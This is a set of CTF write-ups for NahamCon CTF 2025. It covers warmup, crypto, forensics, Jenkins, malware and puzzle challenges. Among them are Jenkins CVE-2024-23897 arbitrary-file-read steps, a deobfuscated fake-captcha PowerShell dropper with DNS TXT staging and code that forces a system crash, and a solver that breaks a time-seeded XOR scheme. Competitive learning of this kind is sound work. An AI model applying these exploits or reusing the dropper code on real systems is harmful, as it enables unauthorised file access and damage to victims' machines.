# NahamCon CTF 2025 writeups
## Warmups
### Screenshot

This challenge gave me a `Screenshot.png` that capturing the hex dump of file `flag.zip` in text editor.
So what I do is just represent the hex content of this file. In image, at offset `ef`, we saw that there no more bit, so it actually has full content.

Hex Content, saved in to `dump.hex`
```
504B03043300010063002F02B55A00000000430000002700000008000B00666C61672E74787401990700020041450300003D42FFD1B35F95031424F68B65C3F57669F14E8DF0003FE240B3AC3364859E4C2DBC3C36F2D4ACC403761385AFE4E3F90FBD29D91B614BA2C6EFDE11B71BCC907A72ED504B01023F033300010063002F02B55A00000000430000002700000008002F000000000000002080B48100000000666C61672E7478740A00200000000000010018008213854307CADB01000000000000000000000000000000000199070020004145030000504B0506000000000100010065000000740000000000
```
Convert hex text to binary file Screenshot.zip
```bash
xxd -r -p dump.hex Screenshot.zip
```
Then, unzip **Screenshot.zip** with password `password`, open `flag.txt` and get the flag
`7z x -ppassword Screenshot.zip`

**FLAG: flag{907e5bb257cd5fc818e88a13622f3d46}**
### Free Flags!

This challenge gave me `free_flags.txt` file. It had a lot of flags, and **just one is real**.

So, in the rules of this competition, they noticed that flag will follow the format: **flag\{[0-9a-f]{32}\}**. That means a flag{} wrapper with a 32-character lowercase hex string inside.
In those flags, I just filter out the flag that follow that rules. The fake flags had none-hex character like uppercase char.
We can write a short script or just using AI to find it.

**FLAG: flag{ae6b6fb0686ec594652afe9eb6088167}**
### Quartet

This challenge gives me 4 file **.z01, .z02, .z03, .z04**. It looks like four plited parts of a file.
First check with HxD, I see that .z01 is first part of a **zip file** (Signature of zip file format `50 4B 07 08`)

Solution is just concatenating 4 files into a zip file
```
cat quartet.z01 quartet.z02 quartet.z03 quartet.z04 > quartet.zip
```
I tried to unzip it like normal but something was corrupted. I checked the last file of it and saw that there was a **.jpeg** file.

The simplest way is using binwalk to extract all embedded content `binwalk -e quartet.zip`

I got the `quartet.jpeg`. Using `strings` to get content and it shows the flag

**FLAG: flag{8f667b09d0e821f4e14d59a8037eb376}**
## Crypto
### Cryptoclock

I got this `server.py`
```python!
#!/usr/bin/env python3
import socket
import threading
import time
import random
import os
from typing import Optional
def encrypt(data: bytes, key: bytes) -> bytes:
"""Encrypt data using XOR with the given key."""
return bytes(a ^ b for a, b in zip(data, key))
def generate_key(length: int, seed: Optional[float] = None) -> bytes:
"""Generate a random key of given length using the provided seed."""
if seed is not None:
random.seed(int(seed))
return bytes(random.randint(0, 255) for _ in range(length))
def handle_client(client_socket: socket.socket):
"""Handle individual client connections."""
try:
with open('flag.txt', 'rb') as f:
flag = f.read().strip()
current_time = int(time.time())
key = generate_key(len(flag), current_time)
encrypted_flag = encrypt(flag, key)
welcome_msg = b"Welcome to Cryptoclock!\n"
welcome_msg += b"The encrypted flag is: " + encrypted_flag.hex().encode() + b"\n"
welcome_msg += b"Enter text to encrypt (or 'quit' to exit):\n"
client_socket.send(welcome_msg)
while True:
data = client_socket.recv(1024).strip()
if not data:
break
if data.lower() == b'quit':
break
key = generate_key(len(data), current_time)
encrypted_data = encrypt(data, key)
response = b"Encrypted: " + encrypted_data.hex().encode() + b"\n"
client_socket.send(response)
except Exception as e:
print(f"Error handling client: {e}")
finally:
client_socket.close()
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(5)
print("Server started on port 1337...")
try:
while True:
client_socket, addr = server.accept()
print(f"Accepted connection from {addr}")
client_thread = threading.Thread(target=handle_client, args=(client_socket,))
client_thread.start()
except KeyboardInterrupt:
print("\nShutting down server...")
finally:
server.close()
if __name__ == "__main__":
main()
```
The problem is server in the way server using seed for random()
`current_time = int(time.time())`, generate key from it `key = generate_key(len(flag), current_time)`. If we connect in one second, it will be same seed, same key. Key is used for both encrypt and decrypt by XOR, so we can exploit by step:
1. Receive encrypted flag
2. Send known plaintext
3. Receive encrypted plaintext
4. Calculate key by XOR plaintext with ciphertext.
5. XOR key with encrypted flag to get the flag
`solve_crytoclock.py`
```python!
#!/usr/bin/env python3
import socket
def xor_bytes(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
def main():
HOST = "challenge.nahamcon.com"
PORT = 30675
# 1) Mở kết nối và bọc thành file‐like để readline() dễ dùng
s = socket.create_connection((HOST, PORT))
f = s.makefile("rwb", newline=b"\n")
# 2) Đọc cho tới khi gặp dòng encrypted flag
enc_flag = None
while True:
line = f.readline().decode(errors="ignore")
if not line:
raise RuntimeError("Server closed kết nối trước khi gửi flag.")
print(line, end="") # in debug
if line.startswith("The encrypted flag is:"):
hexstr = line.split(":",1)[1].strip()
enc_flag = bytes.fromhex(hexstr)
break
L = len(enc_flag)
print(f"[+] Flag is {L} bytes long")
# 3) Gửi payload độ dài bằng flag (ví dụ toàn 'A')
payload = b"A" * L
f.write(payload + b"\n")
f.flush()
# 4) Đọc về ciphertext của payload
enc_payload = None
while True:
line = f.readline().decode(errors="ignore")
if not line:
raise RuntimeError("Server closed kết nối sau khi gửi payload.")
print(line, end="") # in debug
if line.startswith("Encrypted:"):
hexstr = line.split(":",1)[1].strip()
enc_payload = bytes.fromhex(hexstr)
break
# 5) Tính key = enc_payload XOR payload
key = xor_bytes(enc_payload, payload)
# 6) Giải flag = enc_flag XOR key
flag = xor_bytes(enc_flag, key)
print("\n[+] Recovered flag:", flag.decode())
# 7) Clean up
f.write(b"quit\n")
f.flush()
s.close()
if __name__ == "__main__":
main()
```

**FLAG: flag{0e42ba180089ce6e3bb50e52587d3724}**
## Forensics
### Puzzle Pieces

Ok, It gave me a `7z` file. Unzip it, I got some `exe` files. (~~No alert from Windows Defender, so I think it maybe safe for my computer~~). The name files were renamed like the description told.
Run one of them and it printed out some characters.

It looked like a part of flag. Those files had **same size**, but the **LastWriteTime** was different. My idea is running those files with sorting by time.
Write an automation bat file to solve.
```bash!
@echo off
setlocal enabledelayedexpansion
set result=
for /f "delims=" %%i in ('powershell -Command "Get-ChildItem -Path . -Filter *.exe | Sort-Object LastWriteTime | ForEach-Object { $_.Name }"') do (
echo Running %%i
for /f %%o in ('%%i') do (
set output=%%o
set result=!result!!output!
)
)
:: Remove all whitespace using PowerShell and display final cleaned output
for /f %%r in ('powershell -Command "$input = '%result%'; $input -replace '\s',''"') do (
set cleaned=%%r
)
echo.
echo FinalOutput:!cleaned!
```

**FLAG: flag{512faff5e7d89c9b8bd4b9517af9bfaa}**
## DevOps
### The Best Butler

This challenge is related to DevOps, it shows a Jenkin Dashboard

I saw that Jenkins version is 2.332.2. Research a little bit for CVE vulnerabilities associated with this version.
I found that something was related to path travesal in `CVE-2024-23897`

This vulnerability is still existed in Jenkins core <= 2.441 and LTS <= 2.426.2, also Jenkins 2.332.2
**Description**: Jenkins uses the **args4j** library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an **@ character** followed by a file path in an argument with the file’s contents **(expandAtFiles)**
**Exploit:**
1. Download Jenkins CLI client
```
wget http://TARGET:PORT/jnlpJars/jenkins-cli.jar
```

2. Using `help/connect-node`, with `@<file>`. when putting `@/flag.txt`, the content in flag.txt is in one line, so it is used like an argument. Jenkins will tried to use that content for **help \[command]**, it will be not found and print
```
ERROR: Unknown command: flag{…}
```


Details on how to exploit can be found at [HackTheBox](https://www.hackthebox.com/blog/cve-2024-23897) and the exploit code can be found at [Github](https://github.com/h4x0r-dz/CVE-2024-23897)
**FLAG: flag{ab63a76362c3972ac83d5cb8830fd51}**
## Malware
### Verification Clarification

This challenge gives me a link to download zip file, but there is a **captcha that seems so weird**.

Ya, I have seen this kind of captcha in the past - it's a kind of malware.
Details is when we **click on** the verification square, a **powershell script will be saved in your clipboard**. If you open `Run` or other CLI, paste and run it, it will exploit your computer.
In this challenge, my clipboard had a script that bypass windows defender to run something from `captcha.zip/verify`

I tried to run it (in virtual machine), and it damaged my VM

So the `iex` pipeline may be the main cause. I just run the first command, add `-NoExit` to see what will be executed (skip iex).
Boom, the result is this command calling another command.

**Decode the base64 text.**

There is something about DNS resolve, using `dnslookup` to nameserver **5gmlw.pyrchdata.com** with type **TXT**

**Decode the base64 text.**

It is another powershell that will execute the base64 text.
**Decode the base64 text and using Raw inflate**

Hmm, a kind of **obfuscation powershell**. In some characteres, it is written in reverse, and somes in the middle has concatenated with `'+'`. **Therefore, I wrote this command in reverse and remove concatenated strings**.
The main part looks like this:
```!
using System;using System.Runtime.InteropServices;public static class X{[DllImport(S6Rntdll.dllS6R)]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport(S6Rntdll.dllS6R)]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}bTp;eZic=New-Object System.CodeDom.Compiler.CompilerParameters;eZic.CompilerOptions=bTp/unsafebTp;eZic.ReferencedAssemblies.Add(S6RSystem.dllS6R);eZia=Add-Type -TypeDefinition eZis -Language CSharp -PassThru -CompilerParameters eZic;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(S6RW1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==S6R)))') -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34 -REpLACE ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36))
```
It has a base64 strings, remove `S6R` strings because of `-REpLACE'S6R'`.
**Decode base64 strings.**

**FLAG: flag{737450a28f36e1fd808e4ed99f2d81e0}**
## Miscellaneous
### Flagdle

A website for playing **Worlde** (a popular game - guess words)
Based on How to Play, we need to:
- Send POST request to /guess
- Flag is 32 characters.
- 🟩 = correct pos, 🟨 = right char wrong pos, ⬛ = wrong char

The main idea is that we just send from **1 to 9**, **a to f** with placeholders are alway-wrong chars **z** to find out exactly character in each place.
```python=
#!/usr/bin/env python3
import requests
import json
import time
URL = "http://challenge.nahamcon.com:31162/guess"
HEX_CHARS = "0123456789abcdef"
PLACEHOLDER = "z" # ký tự không nằm trong set flag
def get_feedback(guess: str) -> str:
"""
Gửi guess, nhận về chuỗi emoji trong JSON["result"].
"""
headers = {"Content-Type": "application/json"}
data = {"guess": guess}
r = requests.post(URL, headers=headers, json=data)
r.raise_for_status()
return r.json()["result"]
def solve():
# khởi tạo chuỗi flag body 32 ký tự (placeholder)
body = [PLACEHOLDER] * 32
for i in range(32):
for c in HEX_CHARS:
body[i] = c
guess = "flag{" + "".join(body) + "}"
fb = get_feedback(guess)
# fb là một chuỗi unicode, mỗi ký tự 1 ô:
# 🟩 = correct pos, 🟨 = right char wrong pos, ⬛ = wrong char
if fb[i] == "🟩":
print(f"Position {i}: found '{c}'")
break
else:
raise RuntimeError(f"No hex char worked at pos {i}")
# optional: sleep để tránh rate-limit
time.sleep(0.1)
flag = "flag{" + "".join(body) + "}"
print("\n🎉 Recovered flag:", flag)
if __name__ == "__main__":
solve()
```

**FLAG: flag{bec42475a614b9c9ba80d0eb7ed258c5}**
### The Martian

This challenge gave me a `challenge.martian` file. Extension `martian` is weird.
Check this file with HxD to see the header of file signature and other information.

`MAR1` and `NahamConCTF` looked quite suspicious.

But in the end of the file, I found some text related to **jpg**. So there were some pictures embedding inside.
Let's extract them with **binwalk**.
```bash
binwalk -e challenge.martian
```
There is a flag picture.

**FLAG: flag{0db031ac265b3e6538aff0d9f456004f}**
### I Want Pie

The challenge website has an **Upload** file button.

Read the description. It will lead to something **piet**, search it and know that it is a programming language

The desciption also tells us to print out **flag, oh my**, so the idea is upload the picture in piet language that can print **flag, oh my**
I use this - [piet_message_generator](https://github.com/sebbeobe/piet_message_generator) to create png that contain piet language.
```python
import numpy as np
from PIL import Image
import imageio
class Color(object):
def __init__(self, color_table=None):
if color_table is None:
self.color_table = [1,0]
else:
self.color_table = color_table
def RGB(self):
if self.color_table[1] == 0:
#Red
if self.color_table[0] == 0:
#Light
return [255,192,192]
elif self.color_table[0] == 1:
#Normal
return [255,0,0]
elif self.color_table[0] == 2:
#Dark
return [192,0,0]
elif self.color_table[1] == 1:
#Yellow
if self.color_table[0] == 0:
#Light
return [255,255,192]
elif self.color_table[0] == 1:
#Normal
return [255,255,0]
elif self.color_table[0] == 2:
#Dark
return [192,192,0]
elif self.color_table[1] == 2:
#Green
if self.color_table[0] == 0:
#Light
return [192,255,192]
elif self.color_table[0] == 1:
#Normal
return [0,255,0]
elif self.color_table[0] == 2:
#Dark
return [0,192,0]
elif self.color_table[1] == 3:
#Cyan
if self.color_table[0] == 0:
#Light
return [192,255,255]
elif self.color_table[0] == 1:
#Normal
return [0,255,255]
elif self.color_table[0] == 2:
#Dark
return [0,192,192]
elif self.color_table[1] == 4:
#Blue
if self.color_table[0] == 0:
#Light
return [192,192,255]
elif self.color_table[0] == 1:
#Normal
return [0,0,255]
elif self.color_table[0] == 2:
#Dark
return [0,0,192]
elif self.color_table[1] == 5:
#Magenta
if self.color_table[0] == 0:
#Light
return [255,192,255]
elif self.color_table[0] == 1:
#Normal
return [255,0,255]
elif self.color_table[0] == 2:
#Dark
return [192,0,192]
def push_color(self):
self.color_table[0] = (self.color_table[0] + 1) % 3
return self.RGB()
def write_color(self):
self.color_table[0] = (self.color_table[0] + 2) % 3
self.color_table[1] = (self.color_table[1] + 5) % 6
return self.RGB()
current_color = Color()
piet_painting = []
def draw_block(size,num):
block = np.zeros( (12,12,3), dtype=np.uint8 )
if num != 0:
old_push_color = current_color.push_color()
current_color.write_color()
block[:,:] = current_color.RGB()
block[0,0] = old_push_color
size = size +1
else:
block[:,:] = current_color.RGB()
pix_lft = 144-size
div = pix_lft // 12
rem = pix_lft % 12
if div !=0:
block[12-div:,]=0
block[11-div:,:rem]=0
pos_y = 12*num
pos_x = 0
piet_painting[pos_x:pos_x+12,pos_y:pos_y+12] = block
def draw_end(num):
block = np.zeros( (12,5,3), dtype=np.uint8 )
old_push_color = current_color.push_color()
block[:,:] = 255
block[0,0] = old_push_color
block[0,1] = current_color.write_color()
block[0:2,3] = 0
block[1,1] = 0
block[2,0] = 0
block[2,4] = 0
block[3,1:4] = 0
block[2,1:4]=current_color.write_color()
pos_y = 12*num
pos_x = 0
piet_painting[pos_x:pos_x+12,pos_y:pos_y+5] = block
#message = input("Write your message here: \n")
message = "flag, oh my"
painting_len = len(message)*12 + 5
piet_painting = np.zeros((12,painting_len,3), dtype=np.uint8)
i = 0
for char in message:
draw_block(ord(char),i)
i += 1
draw_end(i)
if painting_len < 390:
plato_painting = imageio.v2.imread('Plato.png')
plato_painting[0:12,0:painting_len] = piet_painting
plato_img = Image.fromarray(plato_painting)
imageio.imwrite('plato_code.png', plato_img)
img = Image.fromarray(piet_painting)
imageio.imwrite('piet_code_file.png', img)
```
Check with [npiet online](https://www.bertnase.de/npiet/npiet-execute.php), it prints out correct.


I uploaded it, there was no flag, but it say something about **ppm**. Next, I converted `png` to `ppm` and then upload again. This time, I got the flag

**FLAG: flag{7deea6641b672696de44e60611a8a429}**
### Cube

When I connected to this server, it is a game like escape from the room and yeah, we need to find the escape to win.
This game is in **3D dimension with 6 ways (N, S, E, W, U, D)**. And the desciption told that **GO TO THE EDGES 1,17,...** - This maybe position of the flag

How to play?
We would start at a random position and need to move to the escape room.
The move included:
- n is -[0, 1, 0]
- s is +[0, 1, 0]
- e is +[1, 0, 0]
- w is -[1, 0, 0]
- u is +[0, 0, 1]
- d is -[0, 0, 1]
I played it many times, checked Serial between normal room and trap room.
| Normal Serial | Trap Serial |
|---------------|---------------|
| 318-118-691 | 154-032-**343** --> 7<sup>3</sup> |
| 901-219-909 | **512**-760-**512** --> 8<sup>3</sup> |
| 042-756-414 | **841**-243-884 --> 29<sup>2</sup> |
| 218-878-543 | 381-032-**256** --> 16<sup>2</sup> |
| ... | ... |
Based on this table, the name of this challenge, the description, I found out that the rule of the game is that **the trap rooms are the rooms whose Serial contains square numbers x<sup>2</sup> (004, 009, 016, 025, 036, ... , 729, 784, 841) or cubed numbers x<sup>3</sup> (008, 027, 064, 125, 216, 343, 512, 729)**.

When we started the game or after a move, there would have Available exits with next Serial. So, just check and avoid the trap room: manual check, AI check, coding check.
Next, real play! Try to go to **[1,17,...]** and then move **U/D**, avoid trap rooms until the flag room be found. I checked the boundary, it was in [0 -> 25?I forget, but it is under 30]
**Should spawn near [1, 17, ...] to reduce time to move.** ~~Or a hidden way is spam until your position is next to [1, 17, ...] and move to that place.~~
Flag is in **[1, 17, 11]** with Serial **999-999-999**

**FLAG: flag{4b7063c24950b524e559ef509ba7dc23}**
---
# Conclusion
NahamCon CTF 2025 is good :heart_eyes_cat:. My newbie team tried so hard :joy_cat:
